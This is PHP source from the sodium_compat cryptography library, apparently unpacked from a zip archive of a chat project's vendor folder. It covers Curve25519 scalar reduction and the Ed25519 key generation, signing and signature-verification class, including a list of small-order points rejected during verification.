        $s8  =  $s8->addInt64($s19->mulInt(470296, 19));
        $s9  =  $s9->addInt64($s19->mulInt(654183, 20));
        $s10 = $s10->subInt64($s19->mulInt(997805, 20));
        $s11 = $s11->addInt64($s19->mulInt(136657, 18));
        $s12 = $s12->subInt64($s19->mulInt(683901, 20));

        $s6  =  $s6->addInt64($s18->mulInt(666643, 20));
        $s7  =  $s7->addInt64($s18->mulInt(470296, 19));
        $s8  =  $s8->addInt64($s18->mulInt(654183, 20));
        $s9  =  $s9->subInt64($s18->mulInt(997805, 20));
        $s10 = $s10->addInt64($s18->mulInt(136657, 18));
        $s11 = $s11->subInt64($s18->mulInt(683901, 20));

        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry12 = $s12->addInt(1 << 20)->shiftRight(21);
        $s13 = $s13->addInt64($carry12);
        $s12 = $s12->subInt64($carry12->shiftLeft(21));
        $carry14 = $s14->addInt(1 << 20)->shiftRight(21);
        $s15 = $s15->addInt64($carry14);
        $s14 = $s14->subInt64($carry14->shiftLeft(21));
        $carry16 = $s16->addInt(1 << 20)->shiftRight(21);
        $s17 = $s17->addInt64($carry16);
        $s16 = $s16->subInt64($carry16->shiftLeft(21));

        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));
        $carry13 = $s13->addInt(1 << 20)->shiftRight(21);
        $s14 = $s14->addInt64($carry13);
        $s13 = $s13->subInt64($carry13->shiftLeft(21));
        $carry15 = $s15->addInt(1 << 20)->shiftRight(21);
        $s16 = $s16->addInt64($carry15);
        $s15 = $s15->subInt64($carry15->shiftLeft(21));

        $s5  =  $s5->addInt64($s17->mulInt(666643, 20));
        $s6  =  $s6->addInt64($s17->mulInt(470296, 19));
        $s7  =  $s7->addInt64($s17->mulInt(654183, 20));
        $s8  =  $s8->subInt64($s17->mulInt(997805, 20));
        $s9  =  $s9->addInt64($s17->mulInt(136657, 18));
        $s10 = $s10->subInt64($s17->mulInt(683901, 20));

        $s4  =  $s4->addInt64($s16->mulInt(666643, 20));
        $s5  =  $s5->addInt64($s16->mulInt(470296, 19));
        $s6  =  $s6->addInt64($s16->mulInt(654183, 20));
        $s7  =  $s7->subInt64($s16->mulInt(997805, 20));
        $s8  =  $s8->addInt64($s16->mulInt(136657, 18));
        $s9  =  $s9->subInt64($s16->mulInt(683901, 20));

        $s3  =  $s3->addInt64($s15->mulInt(666643, 20));
        $s4  =  $s4->addInt64($s15->mulInt(470296, 19));
        $s5  =  $s5->addInt64($s15->mulInt(654183, 20));
        $s6  =  $s6->subInt64($s15->mulInt(997805, 20));
        $s7  =  $s7->addInt64($s15->mulInt(136657, 18));
        $s8  =  $s8->subInt64($s15->mulInt(683901, 20));

        $s2  =  $s2->addInt64($s14->mulInt(666643, 20));
        $s3  =  $s3->addInt64($s14->mulInt(470296, 19));
        $s4  =  $s4->addInt64($s14->mulInt(654183, 20));
        $s5  =  $s5->subInt64($s14->mulInt(997805, 20));
        $s6  =  $s6->addInt64($s14->mulInt(136657, 18));
        $s7  =  $s7->subInt64($s14->mulInt(683901, 20));

        $s1  =  $s1->addInt64($s13->mulInt(666643, 20));
        $s2  =  $s2->addInt64($s13->mulInt(470296, 19));
        $s3  =  $s3->addInt64($s13->mulInt(654183, 20));
        $s4  =  $s4->subInt64($s13->mulInt(997805, 20));
        $s5  =  $s5->addInt64($s13->mulInt(136657, 18));
        $s6  =  $s6->subInt64($s13->mulInt(683901, 20));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->addInt(1 << 20)->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry2 = $s2->addInt(1 << 20)->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry4 = $s4->addInt(1 << 20)->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry1 = $s1->addInt(1 << 20)->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry3 = $s3->addInt(1 << 20)->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry5 = $s5->addInt(1 << 20)->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s8->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry11 = $s11->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s8->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));

        $S0 = $s0->toInt32()->toInt();
        $S1 = $s1->toInt32()->toInt();
        $S2 = $s2->toInt32()->toInt();
        $S3 = $s3->toInt32()->toInt();
        $S4 = $s4->toInt32()->toInt();
        $S5 = $s5->toInt32()->toInt();
        $S6 = $s6->toInt32()->toInt();
        $S7 = $s7->toInt32()->toInt();
        $S8 = $s8->toInt32()->toInt();
        $S9 = $s9->toInt32()->toInt();
        $S10 = $s10->toInt32()->toInt();
        $S11 = $s11->toInt32()->toInt();

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) ($S0 >> 0),
            (int) ($S0 >> 8),
            (int) (($S0 >> 16) | ($S1 << 5)),
            (int) ($S1 >> 3),
            (int) ($S1 >> 11),
            (int) (($S1 >> 19) | ($S2 << 2)),
            (int) ($S2 >> 6),
            (int) (($S2 >> 14) | ($S3 << 7)),
            (int) ($S3 >> 1),
            (int) ($S3 >> 9),
            (int) (($S3 >> 17) | ($S4 << 4)),
            (int) ($S4 >> 4),
            (int) ($S4 >> 12),
            (int) (($S4 >> 20) | ($S5 << 1)),
            (int) ($S5 >> 7),
            (int) (($S5 >> 15) | ($S6 << 6)),
            (int) ($S6 >> 2),
            (int) ($S6 >> 10),
            (int) (($S6 >> 18) | ($S7 << 3)),
            (int) ($S7 >> 5),
            (int) ($S7 >> 13),
            (int) ($S8 >> 0),
            (int) ($S8 >> 8),
            (int) (($S8 >> 16) | ($S9 << 5)),
            (int) ($S9 >> 3),
            (int) ($S9 >> 11),
            (int) (($S9 >> 19) | ($S10 << 2)),
            (int) ($S10 >> 6),
            (int) (($S10 >> 14) | ($S11 << 7)),
            (int) ($S11 >> 1),
            (int) ($S11 >> 9),
            (int) $S11 >> 17
        );
        return self::intArrayToString($arr);
    }

    /**
     * multiply by the order of the main subgroup l =
2^252+27742317777372353535851937790883648493
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
ge_mul_l(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A)
    {
        /** @var array<int, int> $aslide */
        $aslide = array(
            13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0,
0, 0,
            0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3,
0,
            0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0,
0,
            0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0,
-1,
            0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0,
0,
            0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1
        );

        /** @var array<int,
ParagonIE_Sodium_Core32_Curve25519_Ge_Cached> $Ai size 8 */
        $Ai = array();

        # ge_p3_to_cached(&Ai[0], A);
        $Ai[0] = self::ge_p3_to_cached($A);
        # ge_p3_dbl(&t, A);
        $t = self::ge_p3_dbl($A);
        # ge_p1p1_to_p3(&A2, &t);
        $A2 = self::ge_p1p1_to_p3($t);

        for ($i = 1; $i < 8; ++$i) {
            # ge_add(&t, &A2, &Ai[0]);
            $t = self::ge_add($A2, $Ai[$i - 1]);
            # ge_p1p1_to_p3(&u, &t);
            $u = self::ge_p1p1_to_p3($t);
            # ge_p3_to_cached(&Ai[i], &u);
            $Ai[$i] = self::ge_p3_to_cached($u);
        }

        $r = self::ge_p3_0();
        for ($i = 252; $i >= 0; --$i) {
            $t = self::ge_p3_dbl($r);
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_add(&t, &u, &Ai[aslide[i] / 2]);
                $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]);
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]);
                $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]);
            }
        }
        # ge_p1p1_to_p3(r, &t);
        return self::ge_p1p1_to_p3($t);
    }
}
PK	�[�rMo�<�<Mchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Ed25519.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_Ed25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Ed25519
 */
abstract class ParagonIE_Sodium_Core32_Ed25519 extends
ParagonIE_Sodium_Core32_Curve25519
{
    const KEYPAIR_BYTES = 96;
    const SEED_BYTES = 32;

    /**
     * @internal You should not use this directly from another application
     *
     * @return string (96 bytes)
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keypair()
    {
        $seed = random_bytes(self::SEED_BYTES);
        $pk = '';
        $sk = '';
        self::seed_keypair($pk, $sk, $seed);
        return $sk . $pk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $pk
     * @param string $sk
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function seed_keypair(&$pk, &$sk, $seed)
    {
        if (self::strlen($seed) !== self::SEED_BYTES) {
            throw new RangeException('crypto_sign keypair seed must be
32 bytes long');
        }

        /** @var string $pk */
        $pk = self::publickey_from_secretkey($seed);
        $sk = $seed . $pk;
        return $sk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function secretkey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96
bytes long');
        }
        return self::substr($keypair, 0, 64);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function publickey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96
bytes long');
        }
        return self::substr($keypair, 64, 32);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function publickey_from_secretkey($sk)
    {
        /** @var string $sk */
        $sk = hash('sha512', self::substr($sk, 0, 32), true);
        $sk[0] = self::intToChr(
            self::chrToInt($sk[0]) & 248
        );
        $sk[31] = self::intToChr(
            (self::chrToInt($sk[31]) & 63) | 64
        );
        return self::sk_to_pk($sk);
    }

    /**
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pk_to_curve25519($pk)
    {
        if (self::small_order($pk)) {
            throw new SodiumException('Public key is on a small
order');
        }
        $A = self::ge_frombytes_negate_vartime($pk);
        $p1 = self::ge_mul_l($A);
        if (!self::fe_isnonzero($p1->X)) {
            throw new SodiumException('Unexpected zero result');
        }

        # fe_1(one_minus_y);
        # fe_sub(one_minus_y, one_minus_y, A.Y);
        # fe_invert(one_minus_y, one_minus_y);
        $one_minux_y = self::fe_invert(
            self::fe_sub(
                self::fe_1(),
                $A->Y
            )
        );


        # fe_1(x);
        # fe_add(x, x, A.Y);
        # fe_mul(x, x, one_minus_y);
        $x = self::fe_mul(
            self::fe_add(self::fe_1(), $A->Y),
            $one_minux_y
        );

        # fe_tobytes(curve25519_pk, x);
        return self::fe_tobytes($x);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sk_to_pk($sk)
    {
        return self::ge_p3_tobytes(
            self::ge_scalarmult_base(
                self::substr($sk, 0, 32)
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        /** @var string $signature */
        $signature = self::sign_detached($message, $sk);
        return $signature . $message;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message A signed message
     * @param string $pk      Public key
     * @return string         Message (without signature)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($message, $pk)
    {
        /** @var string $signature */
        $signature = self::substr($message, 0, 64);

        /** @var string $message */
        $message = self::substr($message, 64);

        if (self::verify_detached($signature, $message, $pk)) {
            return $message;
        }
        throw new SodiumException('Invalid signature');
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        # crypto_hash_sha512(az, sk, 32);
        $az =  hash('sha512', self::substr($sk, 0, 32), true);

        # az[0] &= 248;
        # az[31] &= 63;
        # az[31] |= 64;
        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, az + 32, 32);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, nonce);
        $hs = hash_init('sha512');
        hash_update($hs, self::substr($az, 32, 32));
        hash_update($hs, $message);
        $nonceHash = hash_final($hs, true);

        # memmove(sig + 32, sk + 32, 32);
        $pk = self::substr($sk, 32, 32);

        # sc_reduce(nonce);
        # ge_scalarmult_base(&R, nonce);
        # ge_p3_tobytes(sig, &R);
        $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash,
32);
        $sig = self::ge_p3_tobytes(
            self::ge_scalarmult_base($nonce)
        );

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, sig, 64);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, hram);
        $hs = hash_init('sha512');
        hash_update($hs, self::substr($sig, 0, 32));
        hash_update($hs, self::substr($pk, 0, 32));
        hash_update($hs, $message);
        $hramHash = hash_final($hs, true);

        # sc_reduce(hram);
        # sc_muladd(sig + 32, hram, az, nonce);
        $hram = self::sc_reduce($hramHash);
        $sigAfter = self::sc_muladd($hram, $az, $nonce);
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        return $sig;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sig
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_detached($sig, $message, $pk)
    {
        if (self::strlen($sig) < 64) {
            throw new SodiumException('Signature is too short');
        }
        if ((self::chrToInt($sig[63]) & 240) &&
self::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S < L - Invalid
signature');
        }
        if (self::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an
order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($pk[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var bool The original value of
ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up
verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
        $A = self::ge_frombytes_negate_vartime($pk);

        /** @var string $hDigest */
        $hDigest = hash(
            'sha512',
            self::substr($sig, 0, 32) .
            self::substr($pk, 0, 32) .
            $message,
            true
        );

        /** @var string $h */
        $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
        $R = self::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = self::ge_tobytes($R);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;

        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $S
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function check_S_lt_L($S)
    {
        if (self::strlen($S) < 32) {
            throw new SodiumException('Signature must be 32
bytes');
        }
        static $L = array(
            0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
            0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
        );
        /** @var array<int, int> $L */
        $c = 0;
        $n = 1;
        $i = 32;

        do {
            --$i;
            $x = self::chrToInt($S[$i]);
            $c |= (
                (($x - $L[$i]) >> 8) & $n
            );
            $n &= (
                (($x ^ $L[$i]) - 1) >> 8
            );
        } while ($i !== 0);

        return $c === 0;
    }

    /**
     * @param string $R
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function small_order($R)
    {
        static $blocklist = array(
            /* 0 (order 4) */
            array(
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 1 (order 1) */
            array(
                0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /*
2707385501144840649318225287225658788936804267575313519463743609750303402022
(order 8) */
            array(
                0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05
            ),
            /*
55188659117513257062467267217118295137698188065244968500265048394206261417927
(order 8) */
            array(
                0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a
            ),
            /* p-1 (order 2) */
            array(
                0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85
            ),
            /* p (order 4) */
            array(
                0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa
            ),
            /* p+1 (order 1) */
            array(
                0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /*
p+2707385501144840649318225287225658788936804267575313519463743609750303402022
(order 8) */
            array(
                0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /*
p+55188659117513257062467267217118295137698188065244968500265048394206261417927
(order 8) */
            array(
                0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* 2p-1 (order 2) */
            array(
                0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p (order 4) */
            array(
                0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p+1 (order 1) */
            array(
                0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            )
        );
        /** @var array<int, array<int, int>> $blocklist */
        $countBlocklist = count($blocklist);

        for ($i = 0; $i < $countBlocklist; ++$i) {
            $c = 0;
            for ($j = 0; $j < 32; ++$j) {
                $c |= self::chrToInt($R[$j]) ^ $blocklist[$i][$j];
            }
            if ($c === 0) {
                return true;
            }
        }
        return false;
    }
}
